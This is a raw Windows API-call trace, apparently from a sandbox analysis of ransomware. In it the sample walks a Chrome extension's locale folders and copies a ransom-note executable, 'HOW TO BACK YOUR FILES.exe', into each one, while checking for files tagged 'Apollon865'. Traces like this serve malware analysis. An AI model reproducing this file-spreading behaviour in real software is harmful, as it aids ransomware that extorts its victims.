	[0049.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355499b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355499b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.095] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.095] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.095] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi"
	[0049.095] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi"
	[0049.095] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.095] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3556fb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3556fb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.100] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.100] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.100] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk"
	[0049.100] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk"
	[0049.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.103] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.103] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3556fb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3556fb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.104] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.104] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.104] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr"
	[0049.104] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr"
	[0049.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.108] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.108] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3556fb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3556fb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.108] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.108] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th"
	[0049.108] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th"
	[0049.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.112] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3556fb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3556fb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.113] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.113] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.113] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv"
	[0049.113] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv"
	[0049.113] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.113] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.125] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.125] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35595c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35595c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.125] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.130] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.130] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr"
	[0049.131] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr"
	[0049.131] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.131] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.134] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.134] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355bbdd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355bbdd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.135] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.135] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.135] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl"
	[0049.135] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl"
	[0049.135] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.135] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.139] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355bbdd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355bbdd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.140] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.140] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.140] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk"
	[0049.140] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk"
	[0049.140] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.140] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.144] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.144] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355bbdd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355bbdd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.144] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.144] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.144] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru"
